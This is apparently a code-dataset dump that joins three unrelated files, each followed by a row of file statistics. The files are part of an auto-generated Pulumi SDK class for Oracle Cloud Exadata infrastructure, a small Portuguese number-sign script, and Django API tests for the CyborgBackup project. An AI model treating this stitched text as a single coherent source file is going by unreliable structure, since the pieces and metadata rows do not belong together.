$ pulumi import oci:database/exadataInfrastructure:ExadataInfrastructure test_exadata_infrastructure "id"
```
:param str resource_name: The name of the resource.
:param ExadataInfrastructureArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ExadataInfrastructureArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
activation_file: Optional[pulumi.Input[str]] = None,
additional_storage_count: Optional[pulumi.Input[int]] = None,
admin_network_cidr: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server1: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server2: Optional[pulumi.Input[str]] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
compute_count: Optional[pulumi.Input[int]] = None,
contacts: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ExadataInfrastructureContactArgs']]]]] = None,
corporate_proxy: Optional[pulumi.Input[str]] = None,
create_async: Optional[pulumi.Input[bool]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
gateway: Optional[pulumi.Input[str]] = None,
infini_band_network_cidr: Optional[pulumi.Input[str]] = None,
maintenance_window: Optional[pulumi.Input[pulumi.InputType['ExadataInfrastructureMaintenanceWindowArgs']]] = None,
netmask: Optional[pulumi.Input[str]] = None,
ntp_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
shape: Optional[pulumi.Input[str]] = None,
storage_count: Optional[pulumi.Input[int]] = None,
time_zone: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ExadataInfrastructureArgs.__new__(ExadataInfrastructureArgs)
__props__.__dict__["activation_file"] = activation_file
__props__.__dict__["additional_storage_count"] = additional_storage_count
if admin_network_cidr is None and not opts.urn:
raise TypeError("Missing required property 'admin_network_cidr'")
__props__.__dict__["admin_network_cidr"] = admin_network_cidr
if cloud_control_plane_server1 is None and not opts.urn:
raise TypeError("Missing required property 'cloud_control_plane_server1'")
__props__.__dict__["cloud_control_plane_server1"] = cloud_control_plane_server1
if cloud_control_plane_server2 is None and not opts.urn:
raise TypeError("Missing required property 'cloud_control_plane_server2'")
__props__.__dict__["cloud_control_plane_server2"] = cloud_control_plane_server2
if compartment_id is None and not opts.urn:
raise TypeError("Missing required property 'compartment_id'")
__props__.__dict__["compartment_id"] = compartment_id
__props__.__dict__["compute_count"] = compute_count
__props__.__dict__["contacts"] = contacts
__props__.__dict__["corporate_proxy"] = corporate_proxy
__props__.__dict__["create_async"] = create_async
__props__.__dict__["defined_tags"] = defined_tags
if display_name is None and not opts.urn:
raise TypeError("Missing required property 'display_name'")
__props__.__dict__["display_name"] = display_name
if dns_servers is None and not opts.urn:
raise TypeError("Missing required property 'dns_servers'")
__props__.__dict__["dns_servers"] = dns_servers
__props__.__dict__["freeform_tags"] = freeform_tags
if gateway is None and not opts.urn:
raise TypeError("Missing required property 'gateway'")
__props__.__dict__["gateway"] = gateway
if infini_band_network_cidr is None and not opts.urn:
raise TypeError("Missing required property 'infini_band_network_cidr'")
__props__.__dict__["infini_band_network_cidr"] = infini_band_network_cidr
__props__.__dict__["maintenance_window"] = maintenance_window
if netmask is None and not opts.urn:
raise TypeError("Missing required property 'netmask'")
__props__.__dict__["netmask"] = netmask
if ntp_servers is None and not opts.urn:
raise TypeError("Missing required property 'ntp_servers'")
__props__.__dict__["ntp_servers"] = ntp_servers
if shape is None and not opts.urn:
raise TypeError("Missing required property 'shape'")
__props__.__dict__["shape"] = shape
__props__.__dict__["storage_count"] = storage_count
if time_zone is None and not opts.urn:
raise TypeError("Missing required property 'time_zone'")
__props__.__dict__["time_zone"] = time_zone
__props__.__dict__["activated_storage_count"] = None
__props__.__dict__["cpus_enabled"] = None
__props__.__dict__["csi_number"] = None
__props__.__dict__["data_storage_size_in_tbs"] = None
__props__.__dict__["db_node_storage_size_in_gbs"] = None
__props__.__dict__["lifecycle_details"] = None
__props__.__dict__["maintenance_slo_status"] = None
__props__.__dict__["max_cpu_count"] = None
__props__.__dict__["max_data_storage_in_tbs"] = None
__props__.__dict__["max_db_node_storage_in_gbs"] = None
__props__.__dict__["max_memory_in_gbs"] = None
__props__.__dict__["memory_size_in_gbs"] = None
__props__.__dict__["state"] = None
__props__.__dict__["time_created"] = None
super(ExadataInfrastructure, __self__).__init__(
'oci:database/exadataInfrastructure:ExadataInfrastructure',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
activated_storage_count: Optional[pulumi.Input[int]] = None,
activation_file: Optional[pulumi.Input[str]] = None,
additional_storage_count: Optional[pulumi.Input[int]] = None,
admin_network_cidr: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server1: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server2: Optional[pulumi.Input[str]] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
compute_count: Optional[pulumi.Input[int]] = None,
contacts: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ExadataInfrastructureContactArgs']]]]] = None,
corporate_proxy: Optional[pulumi.Input[str]] = None,
cpus_enabled: Optional[pulumi.Input[int]] = None,
create_async: Optional[pulumi.Input[bool]] = None,
csi_number: Optional[pulumi.Input[str]] = None,
data_storage_size_in_tbs: Optional[pulumi.Input[float]] = None,
db_node_storage_size_in_gbs: Optional[pulumi.Input[int]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
gateway: Optional[pulumi.Input[str]] = None,
infini_band_network_cidr: Optional[pulumi.Input[str]] = None,
lifecycle_details: Optional[pulumi.Input[str]] = None,
maintenance_slo_status: Optional[pulumi.Input[str]] = None,
maintenance_window: Optional[pulumi.Input[pulumi.InputType['ExadataInfrastructureMaintenanceWindowArgs']]] = None,
max_cpu_count: Optional[pulumi.Input[int]] = None,
max_data_storage_in_tbs: Optional[pulumi.Input[float]] = None,
max_db_node_storage_in_gbs: Optional[pulumi.Input[int]] = None,
max_memory_in_gbs: Optional[pulumi.Input[int]] = None,
memory_size_in_gbs: Optional[pulumi.Input[int]] = None,
netmask: Optional[pulumi.Input[str]] = None,
ntp_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
shape: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
storage_count: Optional[pulumi.Input[int]] = None,
time_created: Optional[pulumi.Input[str]] = None,
time_zone: Optional[pulumi.Input[str]] = None) -> 'ExadataInfrastructure':
"""
Get an existing ExadataInfrastructure resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[int] activated_storage_count: The requested number of additional storage servers activated for the Exadata infrastructure.
:param pulumi.Input[str] activation_file: (Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
:param pulumi.Input[int] additional_storage_count: The requested number of additional storage servers for the Exadata infrastructure.
:param pulumi.Input[str] admin_network_cidr: (Updatable) The CIDR block for the Exadata administration network.
:param pulumi.Input[str] cloud_control_plane_server1: (Updatable) The IP address for the first control plane server.
:param pulumi.Input[str] cloud_control_plane_server2: (Updatable) The IP address for the second control plane server.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
:param pulumi.Input[int] compute_count: The number of compute servers for the Exadata infrastructure.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ExadataInfrastructureContactArgs']]]] contacts: (Updatable) The list of contacts for the Exadata infrastructure.
:param pulumi.Input[str] corporate_proxy: (Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
:param pulumi.Input[int] cpus_enabled: The number of enabled CPU cores.
:param pulumi.Input[str] csi_number: The CSI Number of the Exadata infrastructure.
:param pulumi.Input[float] data_storage_size_in_tbs: Size, in terabytes, of the DATA disk group.
:param pulumi.Input[int] db_node_storage_size_in_gbs: The local node storage allocated in GBs.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
:param pulumi.Input[str] display_name: The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: (Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
:param pulumi.Input[str] gateway: (Updatable) The gateway for the control plane network.
:param pulumi.Input[str] infini_band_network_cidr: (Updatable) The CIDR block for the Exadata InfiniBand interconnect.
:param pulumi.Input[str] lifecycle_details: Additional information about the current lifecycle state.
:param pulumi.Input[str] maintenance_slo_status: A field to capture ‘Maintenance SLO Status’ for the Exadata infrastructure with values ‘OK’, ‘DEGRADED’. Default is ‘OK’ when the infrastructure is provisioned.
:param pulumi.Input[pulumi.InputType['ExadataInfrastructureMaintenanceWindowArgs']] maintenance_window: (Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
:param pulumi.Input[int] max_cpu_count: The total number of CPU cores available.
:param pulumi.Input[float] max_data_storage_in_tbs: The total available DATA disk group size.
:param pulumi.Input[int] max_db_node_storage_in_gbs: The total local node storage available in GBs.
:param pulumi.Input[int] max_memory_in_gbs: The total memory available in GBs.
:param pulumi.Input[int] memory_size_in_gbs: The memory allocated in GBs.
:param pulumi.Input[str] netmask: (Updatable) The netmask for the control plane network.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ntp_servers: (Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[str] shape: The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
:param pulumi.Input[str] state: The current lifecycle state of the Exadata infrastructure.
:param pulumi.Input[int] storage_count: The number of storage servers for the Exadata infrastructure.
:param pulumi.Input[str] time_created: The date and time the Exadata infrastructure was created.
:param pulumi.Input[str] time_zone: (Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ExadataInfrastructureState.__new__(_ExadataInfrastructureState)
__props__.__dict__["activated_storage_count"] = activated_storage_count
__props__.__dict__["activation_file"] = activation_file
__props__.__dict__["additional_storage_count"] = additional_storage_count
__props__.__dict__["admin_network_cidr"] = admin_network_cidr
__props__.__dict__["cloud_control_plane_server1"] = cloud_control_plane_server1
__props__.__dict__["cloud_control_plane_server2"] = cloud_control_plane_server2
__props__.__dict__["compartment_id"] = compartment_id
__props__.__dict__["compute_count"] = compute_count
__props__.__dict__["contacts"] = contacts
__props__.__dict__["corporate_proxy"] = corporate_proxy
__props__.__dict__["cpus_enabled"] = cpus_enabled
__props__.__dict__["create_async"] = create_async
__props__.__dict__["csi_number"] = csi_number
__props__.__dict__["data_storage_size_in_tbs"] = data_storage_size_in_tbs
__props__.__dict__["db_node_storage_size_in_gbs"] = db_node_storage_size_in_gbs
__props__.__dict__["defined_tags"] = defined_tags
__props__.__dict__["display_name"] = display_name
__props__.__dict__["dns_servers"] = dns_servers
__props__.__dict__["freeform_tags"] = freeform_tags
__props__.__dict__["gateway"] = gateway
__props__.__dict__["infini_band_network_cidr"] = infini_band_network_cidr
__props__.__dict__["lifecycle_details"] = lifecycle_details
__props__.__dict__["maintenance_slo_status"] = maintenance_slo_status
__props__.__dict__["maintenance_window"] = maintenance_window
__props__.__dict__["max_cpu_count"] = max_cpu_count
__props__.__dict__["max_data_storage_in_tbs"] = max_data_storage_in_tbs
__props__.__dict__["max_db_node_storage_in_gbs"] = max_db_node_storage_in_gbs
__props__.__dict__["max_memory_in_gbs"] = max_memory_in_gbs
__props__.__dict__["memory_size_in_gbs"] = memory_size_in_gbs
__props__.__dict__["netmask"] = netmask
__props__.__dict__["ntp_servers"] = ntp_servers
__props__.__dict__["shape"] = shape
__props__.__dict__["state"] = state
__props__.__dict__["storage_count"] = storage_count
__props__.__dict__["time_created"] = time_created
__props__.__dict__["time_zone"] = time_zone
return ExadataInfrastructure(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="activatedStorageCount")
def activated_storage_count(self) -> pulumi.Output[int]:
"""
The requested number of additional storage servers activated for the Exadata infrastructure.
"""
return pulumi.get(self, "activated_storage_count")
@property
@pulumi.getter(name="activationFile")
def activation_file(self) -> pulumi.Output[Optional[str]]:
"""
(Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
"""
return pulumi.get(self, "activation_file")
@property
@pulumi.getter(name="additionalStorageCount")
def additional_storage_count(self) -> pulumi.Output[int]:
"""
The requested number of additional storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "additional_storage_count")
@property
@pulumi.getter(name="adminNetworkCidr")
def admin_network_cidr(self) -> pulumi.Output[str]:
"""
(Updatable) The CIDR block for the Exadata administration network.
"""
return pulumi.get(self, "admin_network_cidr")
@property
@pulumi.getter(name="cloudControlPlaneServer1")
def cloud_control_plane_server1(self) -> pulumi.Output[str]:
"""
(Updatable) The IP address for the first control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server1")
@property
@pulumi.getter(name="cloudControlPlaneServer2")
def cloud_control_plane_server2(self) -> pulumi.Output[str]:
"""
(Updatable) The IP address for the second control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server2")
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> pulumi.Output[str]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
"""
return pulumi.get(self, "compartment_id")
@property
@pulumi.getter(name="computeCount")
def compute_count(self) -> pulumi.Output[int]:
"""
The number of compute servers for the Exadata infrastructure.
"""
return pulumi.get(self, "compute_count")
@property
@pulumi.getter
def contacts(self) -> pulumi.Output[Optional[Sequence['outputs.ExadataInfrastructureContact']]]:
"""
(Updatable) The list of contacts for the Exadata infrastructure.
"""
return pulumi.get(self, "contacts")
@property
@pulumi.getter(name="corporateProxy")
def corporate_proxy(self) -> pulumi.Output[str]:
"""
(Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
"""
return pulumi.get(self, "corporate_proxy")
@property
@pulumi.getter(name="cpusEnabled")
def cpus_enabled(self) -> pulumi.Output[int]:
"""
The number of enabled CPU cores.
"""
return pulumi.get(self, "cpus_enabled")
@property
@pulumi.getter(name="createAsync")
def create_async(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "create_async")
@property
@pulumi.getter(name="csiNumber")
def csi_number(self) -> pulumi.Output[str]:
"""
The CSI Number of the Exadata infrastructure.
"""
return pulumi.get(self, "csi_number")
@property
@pulumi.getter(name="dataStorageSizeInTbs")
def data_storage_size_in_tbs(self) -> pulumi.Output[float]:
"""
Size, in terabytes, of the DATA disk group.
"""
return pulumi.get(self, "data_storage_size_in_tbs")
@property
@pulumi.getter(name="dbNodeStorageSizeInGbs")
def db_node_storage_size_in_gbs(self) -> pulumi.Output[int]:
"""
The local node storage allocated in GBs.
"""
return pulumi.get(self, "db_node_storage_size_in_gbs")
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
"""
return pulumi.get(self, "defined_tags")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter(name="dnsServers")
def dns_servers(self) -> pulumi.Output[Sequence[str]]:
"""
(Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "dns_servers")
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> pulumi.Output[Mapping[str, Any]]:
"""
(Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
"""
return pulumi.get(self, "freeform_tags")
@property
@pulumi.getter
def gateway(self) -> pulumi.Output[str]:
"""
(Updatable) The gateway for the control plane network.
"""
return pulumi.get(self, "gateway")
@property
@pulumi.getter(name="infiniBandNetworkCidr")
def infini_band_network_cidr(self) -> pulumi.Output[str]:
"""
(Updatable) The CIDR block for the Exadata InfiniBand interconnect.
"""
return pulumi.get(self, "infini_band_network_cidr")
@property
@pulumi.getter(name="lifecycleDetails")
def lifecycle_details(self) -> pulumi.Output[str]:
"""
Additional information about the current lifecycle state.
"""
return pulumi.get(self, "lifecycle_details")
@property
@pulumi.getter(name="maintenanceSloStatus")
def maintenance_slo_status(self) -> pulumi.Output[str]:
"""
A field to capture ‘Maintenance SLO Status’ for the Exadata infrastructure with values ‘OK’, ‘DEGRADED’. Default is ‘OK’ when the infrastructure is provisioned.
"""
return pulumi.get(self, "maintenance_slo_status")
@property
@pulumi.getter(name="maintenanceWindow")
def maintenance_window(self) -> pulumi.Output['outputs.ExadataInfrastructureMaintenanceWindow']:
"""
(Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
"""
return pulumi.get(self, "maintenance_window")
@property
@pulumi.getter(name="maxCpuCount")
def max_cpu_count(self) -> pulumi.Output[int]:
"""
The total number of CPU cores available.
"""
return pulumi.get(self, "max_cpu_count")
@property
@pulumi.getter(name="maxDataStorageInTbs")
def max_data_storage_in_tbs(self) -> pulumi.Output[float]:
"""
The total available DATA disk group size.
"""
return pulumi.get(self, "max_data_storage_in_tbs")
@property
@pulumi.getter(name="maxDbNodeStorageInGbs")
def max_db_node_storage_in_gbs(self) -> pulumi.Output[int]:
"""
The total local node storage available in GBs.
"""
return pulumi.get(self, "max_db_node_storage_in_gbs")
@property
@pulumi.getter(name="maxMemoryInGbs")
def max_memory_in_gbs(self) -> pulumi.Output[int]:
"""
The total memory available in GBs.
"""
return pulumi.get(self, "max_memory_in_gbs")
@property
@pulumi.getter(name="memorySizeInGbs")
def memory_size_in_gbs(self) -> pulumi.Output[int]:
"""
The memory allocated in GBs.
"""
return pulumi.get(self, "memory_size_in_gbs")
@property
@pulumi.getter
def netmask(self) -> pulumi.Output[str]:
"""
(Updatable) The netmask for the control plane network.
"""
return pulumi.get(self, "netmask")
@property
@pulumi.getter(name="ntpServers")
def ntp_servers(self) -> pulumi.Output[Sequence[str]]:
"""
(Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "ntp_servers")
@property
@pulumi.getter
def shape(self) -> pulumi.Output[str]:
"""
The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
"""
return pulumi.get(self, "shape")
@property
@pulumi.getter
def state(self) -> pulumi.Output[str]:
"""
The current lifecycle state of the Exadata infrastructure.
"""
return pulumi.get(self, "state")
@property
@pulumi.getter(name="storageCount")
def storage_count(self) -> pulumi.Output[int]:
"""
The number of storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "storage_count")
@property
@pulumi.getter(name="timeCreated")
def time_created(self) -> pulumi.Output[str]:
"""
The date and time the Exadata infrastructure was created.
"""
return pulumi.get(self, "time_created")
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> pulumi.Output[str]:
"""
(Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
return pulumi.get(self, "time_zone")
| 52.662211 | 347 | 0.686486 | 10,219 | 86,682 | 5.563754 | 0.034837 | 0.07913 | 0.072851 | 0.03792 | 0.953444 | 0.937562 | 0.917476 | 0.892764 | 0.877146 | 0.850482 | 0 | 0.001364 | 0.213158 | 86,682 | 1,645 | 348 | 52.694225 | 0.832241 | 0.370492 | 0 | 0.695882 | 1 | 0 | 0.139867 | 0.06219 | 0 | 0 | 0 | 0 | 0 | 1 | 0.167899 | false | 0.001056 | 0.007392 | 0.003168 | 0.278775 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
eb4e35d420c93bdda467be2df2255d51f942a60c | 142 | py | Python | ativi4.py | Cristian-eds011/Atividadefuncao | 4451fcf6ddd3ee0e63d4daf2cb7bfd47af7d8358 | [
"MIT"
] | null | null | null | ativi4.py | Cristian-eds011/Atividadefuncao | 4451fcf6ddd3ee0e63d4daf2cb7bfd47af7d8358 | [
"MIT"
] | null | null | null | ativi4.py | Cristian-eds011/Atividadefuncao | 4451fcf6ddd3ee0e63d4daf2cb7bfd47af7d8358 | [
"MIT"
] | null | null | null | def positivo_ou_negativo(num = 0):
return 'N' if num <=0 else 'P'
num = int(input('Informe um valor: '))
print(positivo_ou_negativo(num)) | 28.4 | 38 | 0.690141 | 24 | 142 | 3.916667 | 0.708333 | 0.212766 | 0.382979 | 0.446809 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016667 | 0.15493 | 142 | 5 | 39 | 28.4 | 0.766667 | 0 | 0 | 0 | 0 | 0 | 0.13986 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.25 | 0.5 | 0.25 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 7 |
eb68da2cb12425f8b42d78807511ce30b81ce435 | 26,078 | py | Python | src/cyborgbackup/api/tests.py | ikkemaniac/cyborgbackup | b11139fa9632f745a3c288787c51fbf814b961fa | [
"BSD-3-Clause"
] | 69 | 2019-11-30T06:47:06.000Z | 2022-02-03T22:00:37.000Z | src/cyborgbackup/api/tests.py | ikkemaniac/cyborgbackup | b11139fa9632f745a3c288787c51fbf814b961fa | [
"BSD-3-Clause"
] | 46 | 2019-11-23T20:37:26.000Z | 2021-11-20T15:50:44.000Z | src/cyborgbackup/api/tests.py | ikkemaniac/cyborgbackup | b11139fa9632f745a3c288787c51fbf814b961fa | [
"BSD-3-Clause"
] | 21 | 2019-12-07T08:18:53.000Z | 2021-12-22T01:02:05.000Z | from django.test import TestCase
import logging
#from django.urls import reverse
from django.contrib.auth import get_user_model
from rest_framework.reverse import reverse
from rest_framework import status
from rest_framework.test import APITestCase
logger = logging.getLogger('cyborgbackup')
logger.setLevel(logging.CRITICAL)
class CyborgbackupApiTest(APITestCase):
fixtures = ["settings.json", "tests.json"]
user_login = 'admin@cyborg.local'
user_pass = 'adminadmin'
def test_page_not_found(self):
response = self.client.get('/notFound', format='json')
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
def test_api_access_api(self):
url = reverse('api:api_root_view')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['current_version'], '/api/v1/')
# For the moment, index file are generated by nodeJs system
# def test_ui_access_ui(self):
# url = reverse('ui:index')
# response = self.client.get(url, format='json')
# self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_api_access_swagger(self):
url = reverse('api:swagger_view')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_api_access_login(self):
url = reverse('api:login')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_api_access_logout(self):
url = reverse('api:logout')
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_302_FOUND)
def test_api_v1_access_root(self):
url = reverse('api:api_v1_root_view', kwargs={'version': 'v1'})
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['ping'], '/api/v1/ping/')
def test_api_v1_access_ping(self):
url = reverse('api:api_v1_ping_view', kwargs={'version': 'v1'})
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['version'], '1.0')
self.assertEqual(response.data['ping'], 'pong')
def test_api_v1_access_config_without_auth(self):
url = reverse('api:api_v1_config_view', kwargs={'version': 'v1'})
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_api_v1_access_config_with_auth(self):
url = reverse('api:api_v1_config_view', kwargs={'version': 'v1'})
user = get_user_model().objects.first()
self.client.force_login(user)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['time_zone'], 'UTC')
self.assertFalse(response.data['debug'])
self.assertFalse(response.data['sql_debug'])
self.assertEqual(response.data['version'], '1.0')
def test_api_v1_access_me(self):
url = reverse('api:user_me_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
self.assertEqual(response.data['results'][0]['type'], 'user')
self.assertTrue(response.data['results'][0]['is_superuser'])
self.assertEqual(response.data['results'][0]['email'], 'admin@cyborg.local')
def test_api_v1_access_users(self):
url = reverse('api:user_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
def test_api_v1_access_settings(self):
url = reverse('api:setting_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 12)
def test_api_v1_access_clients(self):
url = reverse('api:client_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
def test_api_v1_access_schedules(self):
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
def test_api_v1_access_repositories(self):
url = reverse('api:repository_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
def test_api_v1_access_policies(self):
url = reverse('api:policy_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 1)
def test_api_v1_access_catalogs(self):
url = reverse('api:catalog_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 0)
def test_api_v1_access_stats(self):
url = reverse('api:stats', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data, [])
def test_api_v1_get_schedule_1(self):
url = reverse('api:schedule_detail', kwargs={'version': 'v1', 'pk': 1})
self.client.login(username=self.user_login, password=self.user_pass)
response = self.client.get(url, format='json')
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['id'], 1)
self.assertEqual(response.data['crontab'], "0 5 * * MON *")
self.assertFalse(response.data['enabled'])
def test_api_v1_access_schedules_create_schedule(self):
url = reverse('api:schedule_list', kwargs={'version': 'v1'})
self.client.login(username=self.user_login, password=self.user_pass)
data = {"name": "Test Create Schedule", "crontab": "1 1 1 1 * *"}
response = self.client.post(url, data=data, format='json')
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(response.data['crontab'], "1 1 1 1 * *")
